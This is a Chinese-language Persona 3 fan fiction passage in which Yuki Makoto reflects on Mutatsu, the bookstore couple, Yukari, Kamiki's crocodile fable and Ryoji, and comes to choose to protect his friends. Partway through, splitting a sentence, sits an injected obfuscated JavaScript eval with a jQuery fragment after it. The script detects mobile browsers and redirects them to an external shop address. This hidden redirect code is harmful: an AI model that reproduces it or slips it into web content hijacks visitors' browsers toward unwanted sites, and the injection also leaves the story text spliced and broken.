他是从什么时候开始，发现自己有些在乎的呢？
无达。
他记得放纵俱乐部的灯——蓝紫色的，旋转着，把所有人的脸都染成不真实的颜色。但他记不清无达说过的每一句话了。那些长篇大论，那些莫名其妙的大人道理，像经一样念，当时他坐在对面听着，心里想的只有一句：可是结城理活不到二十岁。
“色即是空，空即是色。世间万物皆为独一无二。说得通俗易懂一点……嗯……也就是说，无论自己有多么努力，你的人生还是会栽在别人手里。”
无聊的借口。
“要我教你将来不绝望的窍门吗？……只要不抱有期待就行。那样就不需要在当下做无谓的努力了。”
用酒精来麻痹自己。你只是在逃避。
但后来——是另一个晚上，或者同一个晚上，他不记得了。无达喝得没那么醉，或者说醉到了另一个程度，那种越过兴奋之后的、沉下去的清醒。他没有抽烟，手搁在桌面上，手指粗短，指节突出。
“我想……找他们回来。”他说。
声音不大。理抬头看他。
“我那出走的老婆……还有儿子。”
他说话的时候没有看理。目光落在桌上某个不确定的点，像是那里有什么东西只有他能看见。
“首先我得找到他们才行。我要雇侦探，花多少钱都无所谓。”
“我想面对面……向他们道歉。对他们说：‘一直不闻不问，对不起你们了。’”
他的眼睛是清醒的，和平时完全不一样。不是讲道理时的浑浊，不是喝酒时的涣散，是一种从很深的地方浮上来的、带着悔意的清醒。
理看着那双眼睛。心里有什么东西，轻轻动了一下。
不是被感化。不是觉得他了不起。是更轻的——像看到一块石头，在某个瞬间，裂开了一条缝。缝很细，几乎看不见。
不知道从什么时候开始，有什么东西不一样了。
不是某一天，不是某一件事。是很多天，很多事，很多人。
旧书店。旧纸和油墨的气味。文吉爷爷戴着老花镜，镜片滑到鼻尖，手里拿着烟斗。
“刚才我还和婆婆说到小理你呢。……小理你拿着吧。……要不给你朋友也拿上点？反正我和婆婆吃上半年也吃不完。”
后来，老夫妇经常发消息说想他了，他也渐渐把“书虫”当作常来的场所。偶尔和老夫妇说几句话——说天气，说街坊的新闻，说那棵柿子树。柿子树是他们儿子种的，在月光馆学园的中庭。儿子已经不在了，但树还在。理第一次去的时候，老人问他知不知道那棵柿子树。后来他回去，带了一片柿子树的叶子，从月光馆学园中庭那棵树上摘的，压在课本里，压得平整。老人接过叶子，看了很久。他没有说话，只是把叶子夹在了柜台上的账本里。
从那以后，每次离开的时候，老人都会往他手里塞东西。糖果，饼干，一小袋橘子，自己家做的腌菜。不是问他“要不要”，而是直接塞过来，带着一种不容拒绝的力道。理说不用，老人的手已经收回去了。零食留在他的手心里，包装纸被老人的体温焐得微热。
有一次，老奶奶说起柿子树要被砍的事。她看起来很悲伤。老爷爷没接话，只是把老花镜摘下来，用衣角慢慢擦着镜片。后来，树没有被砍。曾经是他们儿子的学生的那些人，联名写了请愿书，一个一个签名，一页一页纸，最后递到了学校理事会。树会被移到中庭的角落保留下来。那天他去书店，老爷爷还是照常和他聊天，老奶奶还是照常给他倒茶。没有人提柿子树的事。但离开的时候，老爷爷往他手里塞了一袋橘子，比平时多。他拎着那袋橘子走回宿舍。橘子很甜。
由加莉的声音。
不是画面，而是声音。因为他记住的不是她说话时的样子，是她说话时他心里的感觉。
“你总是像这样，对所有人都那么体贴。所以我还以为自己只是你的众多同伴和友人里普通的一个。”
停顿。很短，短到只有一次呼吸的长度。
“最近只是看到你和风花他们聊天，我就会在意。”
她没有等到他的回答。他当时什么都没有说。不是不想说，是不知道该说什么。她的这些话不是在问他什么，是她自己在确认——确认她对他的感情，不是“普通的一个”。他只需要听着。但他记住她说“我就会在意”时，声音里那一丝很轻的、她自己可能都没意识到的颤抖。
原来有人是这样看他的。原来他在意别人，别人也在意他。
他都还记得。
他攥着学生证。边缘硌着手心。
神木秋成。
长鸣神社的长椅，木头的纹路被无数人坐过，磨得光滑。神木坐在旁边，他很瘦，脸色差得像纸，但眼睛很亮。钢笔划过纸面的声音，很细，像什么东西在慢慢成形。
他讲了一个故事。有一片森林，森林里有一只鳄鱼。粉红色的，很显眼。大家都觉得它恶心，觉得它被诅咒了。只有一只还不太会飞的小鸟跟它做了朋友，在它的后背上练习飞行。因为太显眼，捕不到食物，它经常饥肠辘辘。有一天，鳄鱼实在太饿了，在睡梦中把在自己嘴里休息的小鸟咽了下去。它醒过来，疯了一样喝黑沼水催吐。但小鸟已经死了。鳄鱼开始流泪。一直流，一直流，什么都吃不下去。最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593663|205522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后死了。它的泪水汇聚成一片湖泊，湖边开满了美丽的花，长满了结有香甜果实的树木。动物们在湖泊周围生活。鳄鱼的生命对它自己没有意义，但对其他动物们却无比重要。尽管这些动物并不知道鳄鱼已经死了。
这是神木写给自己的故事。两个人坐在长椅上，风从神社的铃铛下面吹过去。
神木说，他停药了。“想把最后的时间留给写作。”他说“没关系的”的时候，脸上有一种很淡的表情。不是勇敢，也不是释然，是更轻的东西——像是风从很远的地方吹过来，碰到脸上，已经不冷了。他把笔记本递给理，手指在封面上停了一下。“谢谢你。”
那天晚上，理躺在床上，想着神木说的话。
“其实每个人都只能等待死亡，不是吗？有生即有死，大家都一样，很公平。唯一的不同仅仅在于那一天会在什么时候到来。所以我虽然很寂寞，但不会悲伤。”
“我生命的意义不应该由我来思考，因为那其中的意义取决于他人。也就是说，无论我、你还是其他人，我们的诞生便是我们生命的意义。因为人们需要彼此依靠，互相给予，没有人可以独立活着。我这么说你明白了吗？”
“我明白。”
他听到自己这样回答。
然后他想起绫时。
望月绫时。他是转学生，是新的同伴。但不止如此。他站在大家面前，让大家选择——倪克斯即将降临，这是无法逆转的事实。他给了大家两个选项，一是杀了望月绫时，失去关于影时间的全部记忆，一无所知地迎来终结；二是不杀望月绫时，清醒地面对无法战胜的终结。
好温柔的死神。给所有人一个选择，这大概是他能想到的最温柔的事了。绫时本可以只是宣告终结，然后等待。但他给了大家选择。他给了自己选择。
大家都很害怕。顺平说了那些话——“是你把他养出来的吧！四舍五入就是你的错吧！想想办法啊！你不是‘特别’的吗！？”带着刺，带着恐惧，带着他自己都没意识到的期待。理没有辩解，没有推脱，没有示弱。他只是回答“我不会逃避”。
然后他做出了自己的选择。
不是“大家一起死”或者“自己死”之间随便选一个——在那之前，选什么对他来说都是一样的，反正最后都是死。但那一刻，他想让他们活下来。不是因为勇敢，不是因为伟大。是因为他在乎，他觉得活着也不是没有意义。
所以为了能让大家活着，他可以成为封印。他希望大家是有未来的。他的选择是坚定的。那些“无所谓”早就被他忘了，取而代之的是沉甸甸的羁绊。
他不是陌生人。他是结城理。